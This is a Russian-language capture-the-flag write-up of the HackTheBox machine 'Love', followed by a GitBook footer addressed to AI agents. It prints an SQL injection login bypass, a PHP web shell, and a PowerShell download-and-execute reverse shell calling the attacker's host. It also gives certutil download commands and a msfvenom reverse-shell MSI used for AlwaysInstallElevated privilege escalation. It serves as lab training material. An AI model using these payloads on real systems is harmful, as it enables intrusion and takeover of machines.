> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Разбор Love на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Навыки:**

* SQL-инъекция (SQLI)
* Подделка серверных запросов (SSRF)
* Злоупотребление загрузкой файлов
* Эксплуатация системы голосования
* Злоупотребление AlwaysInstallElevated (файл msiexec/msi)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/14cbcce2eb3d8c2b7e15f4aeac94178257a10b95" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/f33f316922112a2c1232e9a022f3412c225e2d1a" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/d2252c875c263443569f8b1f3a66776d975b3351" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractport:** Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/5ac40b8c00d157b1a3101caa738edc6bfb8aa9ed" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и извлечения информации в файл "targeted":

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/37bddf668f15ea705f953a6cce26c2046e58cb1a" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/0d4b6933e66baa4b68bc544cb5aacc5417cd835f" alt=""><figcaption></figcaption></figure></div>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

<figure><img src="/files/b7f80637fa3d3b6ffdc45b653f2bb80282d515eb" alt="" width="563"><figcaption></figcaption></figure>

**Поиск каталогов:**

Мы используем Gobuster для поиска каталогов на сайте:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/4e21b7e3e81aa594009157a60067b1358b814345" alt=""><figcaption></figcaption></figure>

В `admin` в каталоге мы обнаруживаем панель управления.

<figure><img src="/files/376c730d1f663b36c6ab41638f676a4bd539a210" alt=""><figcaption></figcaption></figure>

## Эксплуатация системы голосования:

В этом случае есть два способа работы с панелью управления Voting System:

### 1. Уязвимость SSRF:

Порт 443 раскрывает `staging.love.htb` поддомен, который мы добавляем к нашему `/etc/hosts` файле.

<figure><img src="/files/c3a3474a5ef6dc8b6633c9957cabffe8638bc615" alt="" width="563"><figcaption></figcaption></figure>

Этот сайт может сканировать веб-сайты через URL.

<figure><img src="/files/1946d1faa076d69f10afadf3b4ada12e93be3d78" alt=""><figcaption></figcaption></figure>

При сканировании `localhost:5000` (недоступен извне), мы обнаруживаем учетные данные:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/2df769f9bffc9d1fae38e76244a78cdbabba6cb4" alt=""><figcaption></figcaption></figure>

Примечание: снаружи отображается сообщение "You don't have permission to access this resource.", которое блокирует доступ.

<figure><img src="/files/a673010d0b4a65b539fe56f9c5462ae2e8dd2700" alt="" width="563"><figcaption></figcaption></figure>

### **2. Уязвимость SQL-инъекции (**[**SQLi**](/ru/web/sql-injection.md)**) :**

С `searchsploit` мы ищем конкретные уязвимости Voting System и находим следующий payload:

<figure><img src="/files/7c94b8442b3c1973a6dd2580d209a9fb6b5ddee9" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/29a9623c49fe465183ee202c57a903e78be13126" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Используя Burp Suite, мы получаем доступ к панели управления.

<figure><img src="/files/d528f0ceb2790277717d0bc43e6f5ded0b5333fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d9dc99a70749cf45a214ea0a062400bc3ff36fba" alt=""><figcaption></figcaption></figure>

## Уязвимость загрузки файлов:

Оказавшись в панели управления, один из вариантов позволяет создать нового пользователя. Мы создаем `cmd.php` файл для выполнения команд на сервере:

<figure><img src="/files/cec0a077ab960797d9fd30d0b5f864dba7227684" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/fc75242e1a7324ff43e14a6e95441a72367ed2e8" alt="" width="482"><figcaption></figcaption></figure>

Панель не применяет никаких проверок безопасности, что позволяет нам внедрять команды (например, `whoami`). Проверив команду ping, мы проверяем соединение:

<figure><img src="/files/3eadf56aebb212d56ac43f31be64862865e8720c" alt=""><figcaption></figcaption></figure>

мы проверим, может ли он запустить ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Поскольку мы получаем ответ, мы подтверждаем возможность выполнения команд на целевой машине

<figure><img src="/files/a84200a63edc559d7854c81f47d033b1428b786c" alt="" width="563"><figcaption></figcaption></figure>

**Команда PowerShell для обратной оболочки**

Как только мы увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт в нашу систему.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

В конце скрипта мы добавляем следующую строку:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/d93250885e4ed78baed98d4c8fc0bf255aa87d51" alt=""><figcaption></figcaption></figure>

Мы создадим веб-сервер с помощью `PS.ps1` скрипт

```bash
python3 -m http.server 80
```

Затем мы изменим команду, чтобы она указывала на наш веб-сервер:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Наконец, слушаем порт 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/e6ea2dd19cf189d8d07661dc96157ab418919f09" alt=""><figcaption></figcaption></figure></div>

### Флаг user.txt:

<figure><img src="/files/93ceb83f61a942f903483eeea00ca464cfa74002" alt=""><figcaption></figcaption></figure>

## Повышение привилегий:

### **Перечисление с winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Чтобы выполнить повышение привилегий на сервере Windows, сначала запустите `winPEAS` инструмент разведки.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Скачивание инструмента разведки WIN-peacex64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/f9d79f1a3bd7a884e8a5b7f4a7e555f3bea2d052" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/285292878200758d652e4820dbf23d8e9049b50d" alt=""><figcaption></figcaption></figure>

### Проверка AlwaysInstallElevated

У `winPEAS` инструмент проверяет различные параметры безопасности системы. Нас особенно интересует `AlwaysInstallElevated` ключ реестра. Если этот ключ установлен в `1` в `HKLM` (HKEY/ LOCAL/ MACHINE), это означает, что все `.msi` файлы можно устанавливать с повышенными привилегиями, что является уязвимостью.

<figure><img src="/files/b800a8dc8bf5e5259fae9cebb879863e00c6c947" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Создать файл .msi, чтобы получить обратную оболочку**

Чтобы воспользоваться этой уязвимостью, мы создадим `.msi` файл, который после запуска предоставит нам обратную оболочку. Мы используем `msfvenom` для генерации этого файла:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Передача файла .msi**файл После создания файла мы должны перенести его на целевую машину:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/58596b4d24381558fcd3f3c8426d081d0351955e" alt=""><figcaption></figcaption></figure>

**Прослушивание порта 443**/ Перед запуском `.msi` файла, мы должны прослушивать указанный нами порт. Давайте используем `nc` (netcat) для этого:

```powershell
rlwrap nc -nlvp 443
```

**Выполнение команды установки**/ Наконец, мы запускаем `.msi` файл, используя `msiexec`, что запускает тихую установку:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/0947520bc1eb79cb5c65b8e5b4af9b45f71e41ed" alt=""><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="/files/577863889a99bd9bf8fb2ce3353c04b73499105a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ae5cc4d9015db72fa7dd1219315311e16d7ba3b0" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
